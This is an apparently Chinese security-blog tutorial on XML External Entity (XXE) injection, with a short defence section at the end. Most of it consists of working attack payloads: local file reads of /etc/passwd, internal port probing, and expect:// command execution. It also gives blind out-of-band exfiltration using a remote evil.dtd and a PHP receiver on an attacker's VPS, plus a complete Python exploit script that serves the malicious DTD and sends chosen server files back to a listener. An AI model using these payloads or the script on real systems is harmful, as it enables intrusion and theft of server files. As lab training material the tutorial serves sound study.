跟着斗哥学Python安全开发之XXE漏洞

0收藏

0点赞

浏览量:1066

2021-07-22

举报

一、 XML简介

XML是一种类似HTML的标记性语言,用来存储标记数据、定义数据类型。和html不同的是,xml的根元素和子元素是允许用户自定义的。 
以下是一段简单的XML代码:

<?xml version="1.0"?>

<!DOCTYPE note [

<!ELEMENT note (to,from,heading,body)>

<!ELEMENT to      (#PCDATA)>

<!ELEMENT from    (#PCDATA)>

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body    (#PCDATA)>

]>

<note>

<to>George</to>

<from>John</from>

<heading>Reminder</heading>

<body>Don't forget the meeting!</body>

</note>

运行结果如下: 

DTD (Document Type Definition)文档类型定义

作用:定义XML文档的合法构建模块,DTD可以在XML文档内声明,也可以在外部引用。


在DTD文档中使用ENTITY关键字来声明一个实体,格式如下:



通过&实体名称;进行调用实体




如声明实体b,b的内容为文档规范:http: //xx.com/1.dtd



由于外部实体不仅仅支持http协议,还支持其他协议如file。



如果想要系统的学习XML语言可以参考:https://www.w3school.com.cn/xml/xml_intro.asp声明 DT


二、XXE漏洞利用概述

XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时,通过恶意构造,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明,也可以外部引用;libxml 2.9.1及以后,默认不再解析外部实体。

对于XXE通常有两种利用方式:有回显XXE漏洞和无回显XXE漏洞:

(1)有回显XXE

攻击者通过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件:

<?xml version="1.0" encoding="utf-8"?>    //xml声明

<!DOCTYPE c [

     <!ENTITY file SYSTEM "file:///etc/passwd">

 ]>

<c>&file;</c>


(2)无回显XXE

服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀; 内部定义实体:在一个实体中定义的一个实体,即嵌套定义:

<?xml version="1.0" encoding="utf-8"?>    //xml声明

   <!DOCTYPE c [

      <!ENTITY  % a "<!ENTITY b 'http://www.xxx.com'>"

      %a;

   ]>

<c>&b;</c>

Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器);DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用; 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中。


三、 XXE漏洞利用方式

3.1 有回显的XXE漏洞利用

实验环境可以使用:xxe-labs:c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo (github.com),也可以使用vulhub中集成的xxe测试环境。

方式一:通过引用外部实体

(1)任意文件读取

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<admin>

<name>&xxe;</name>

</admin>

(2)内网端口探测

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "http://192.168.0.102:80">]>

<user><username>&xxe;</username><password>admin</password></user>


当访问存在的22端口时:



当访问不存在的1433端口时:



也可以通过burpsuite对开放端口进行枚举。


(3)远程命令执行

有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。当PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么就可以执行命令:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM “expect://id" >]>

<user><username>

&xxe;

</username><password>admin</password></user>

运行结果:

{“error”: “no results for description uid=0(root) gid=0(root) groups=0(root)…


方式二:通过使用外部参数实体

(1)任意文件读取

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY  % d  SYSTEM "http://192.168.0.102/xxe/evil.dtd" >

%d;

]>

<root>

<name>&b;</name>

</root>


在远程的VPS服务器的网站根目录创建evil.dtd文件,文件内容如下:


<!ENTITY b SYSTEM "file:///etc/passwd">


运行结果如下:


3.2 无回显的XXE漏洞利用

(1)任意文件读取

方式一:

将以下xxe.xml保存到vps的服务器下

<!ENTITY % all

"<!ENTITY % send SYSTEM 'http://192.168.0.102/%file;'>" %all;

运行如下代码:

<?xml version="1.0"?>

<!DOCTYPE message [

   <!ENTITY % remote SYSTEM "http://192.168.0.102/xxe/xxe.xml">  

   <!ENTITY % file SYSTEM "file:///etc/passwd">

   %remote;

   %send;

]>

运行结果如下:

可以发现结果被当作错误信息进行返回。


方式二:

在远程vps上创建一个接收数据的文件的php(get.php),代码如下:

<?php

$file = "./test.txt";

$content = base64_decode($_GET['file']);

file_put_contents($file , $content);

echo "\n";

?>

然后再创建一个evil.dtd文件,代码如下:

<!ENTITY % all

"<!ENTITY % send SYSTEM 'http://192.168.0.102/xxe/get.php?file=%file;'>"

>

运行如下代码:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY  % file  SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

<!ENTITY  % remote  SYSTEM "http://192.168.0.102/xxe/evil.dtd">

%remote;

%all;

%send;

]>


打开vps下的test.txt,可以查看到运行结果。



四、通过Python代码实现


Python运行环境为:Python3.7

脚本编写思路如下:

1)首先设置编码格式,导入需要使用到的库。

#!/usr/bin/python3

# -*- coding: utf-8 -*-



from http.server import HTTPServer, SimpleHTTPRequestHandler

import threading

import requests

import sys


2)通过http.server开启一个http服务器,用来监听目标服务器返回的数据,代码如下。)

def StartHTTPServer(listenIp, listenPort):

# HTTP监听的IP地址和端口

serverAddr = (listenIp, listenPort)

httpd = HTTPServer(serverAddr, MyHandler)

print(

"[*] 正在开启HTTP服务器:\n===================\nIP地址:{0}\n监听端口:{1}\n===================\n".format(listenIp, listenPort))

httpd.serve_forever()



3)根据源码重写日志函数,将访问日志输出到终端上,源码如下。


修改后的代码如下:

def log_message(self, format, *args):

# 终端输出HTTP访问信息

sys.stderr.write("%s - - [%s] %s\n" %

(self.client_address[0],

self.log_date_time_string(),

format % args))

# 保存信息到文件

textFile = open("result.txt", "a")

textFile.write("%s - - [%s] %s\n" %

(self.client_address[0],

self.log_date_time_string(),

format % args))

textFile.close()

这段代码的作用会将IP地址和访问日志信息输出到终端中,并将结果i保存在当前目录下的result.txt中。

4)然后编写攻击Pyload的生成函数,根据给定的IP和端口生成包含而已DTD的XML文件。

def ExploitPayload(listenIp, listenPort):

file = open('evil.xml', 'w')

file.write(

"<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(listenIp,

listenPort))

file.close()

print("[*] Payload文件创建成功!")

5)通过POST方法项目标服务器发送攻击数据,代码如下:

def SendData(listenIp, listenPort, targetUrl):

# 需要读取的文件的路径(默认值)

filePath = "/etc/passwd"

while True:

# 对用户的输入的文件路径斜杠的替换

filePath = filePath.replace('\\', "/")

if filePath == 'exit':

break

data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(

filePath, listenIp, listenPort)

requests.post(targetUrl, data=data)

# 继续接收用户的输入,读取指定文件

filePath = input("请输入你要查找的文件路径:")

6)编写主函数,进行相关变量的定义以及一些函数的调用

if __name__ == '__main__':

# 本机IP

listenIp = "192.168.0.102"

# 本机HTTP监听端口

listenPort = 4444

# 目标网站提交表单的targetUrl

targetUrl = "http://192.168.0.109:8080/dom.php"

# 创建payload文件

ExploitPayload(listenIp, listenPort)

# 创建HTTP服务线程

threadHTTP = threading.Thread(target=StartHTTPServer, args=(listenIp, listenPort))

# 执行创建HTTP服务线程

threadHTTP.start()

# 发送POST数据线程

threadPOST = threading.Thread(target=SendData, args=(listenIp, listenPort, targetUrl))

#执行发送POST数据线程

threadPOST.start()

完整代码如下:

#!/usr/bin/python3

# -*- coding: utf-8 -*-



from http.server import HTTPServer, SimpleHTTPRequestHandler

import threading

import requests

import sys



# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件

class MyHandler(SimpleHTTPRequestHandler):


def log_message(self, format, *args):

# 终端输出HTTP访问信息

sys.stderr.write("%s - - [%s] %s\n" %

(self.client_address[0],

self.log_date_time_string(),

format % args))

# 保存信息到文件

textFile = open("result.txt", "a")

textFile.write("%s - - [%s] %s\n" %

(self.client_address[0],

self.log_date_time_string(),

format % args))

textFile.close()



# 创建攻击代码文件

def ExploitPayload(listenIp, listenPort):

file = open('evil.xml', 'w')

file.write(

"<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(listenIp,

listenPort))

file.close()

print("[*] Payload文件创建成功!")


# 开启HTTP服务,开启监听,接收数据

def StartHTTPServer(listenIp, listenPort):

# HTTP监听的IP地址和端口

serverAddr = (listenIp, listenPort)

httpd = HTTPServer(serverAddr, MyHandler)

print("[*] 正在开启HTTP服务器:\n===================\nIP地址:{0}\n监听端口:{1}\n===================\n".format(listenIp, listenPort))

httpd.serve_forever()


# 通过POST发送攻击数据

def SendData(listenIp, listenPort, targetUrl):

# 需要读取的文件的路径(默认值)

filePath = "/etc/passwd"

while True:

# 对用户的输入的文件路径斜杠的替换

filePath = filePath.replace('\\', "/")

if filePath == 'exit':

break

data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(

filePath, listenIp, listenPort)

requests.post(targetUrl, data=data)

# 继续接收用户的输入,读取指定文件

filePath = input("请输入你要查找的文件路径:")


if __name__ == '__main__':

# 本机IP

listenIp = "192.168.0.102"

# 本机HTTP监听端口

listenPort = 4444

# 目标网站提交表单的targetUrl

targetUrl = "http://192.168.0.109:8080/dom.php"

# 创建payload文件

ExploitPayload(listenIp, listenPort)

# 创建HTTP服务线程

threadHTTP = threading.Thread(target=StartHTTPServer, args=(listenIp, listenPort))

# 执行创建HTTP服务线程

threadHTTP.start()

# 发送POST数据线程

threadPOST = threading.Thread(target=SendData, args=(listenIp, listenPort, targetUrl))

#执行发送POST数据线程

threadPOST.start()

运行结果:


可以看到结果成功在日志中返回。

将结果放入Burpsuite中进行base64解码,可以看到/etc/passwd中的密码成功回显。



五、XXE漏洞防御

2.5 XXE的防御

方案一、使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);


JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);


Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据 
关键词如下:

<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

方案三、预定义字符转义:


六、参考链接


1、《Python安全攻防渗透测试实战指南》 
2、https://www.w3school.com.cn/dtd/index.asp

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安&nbsp;Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP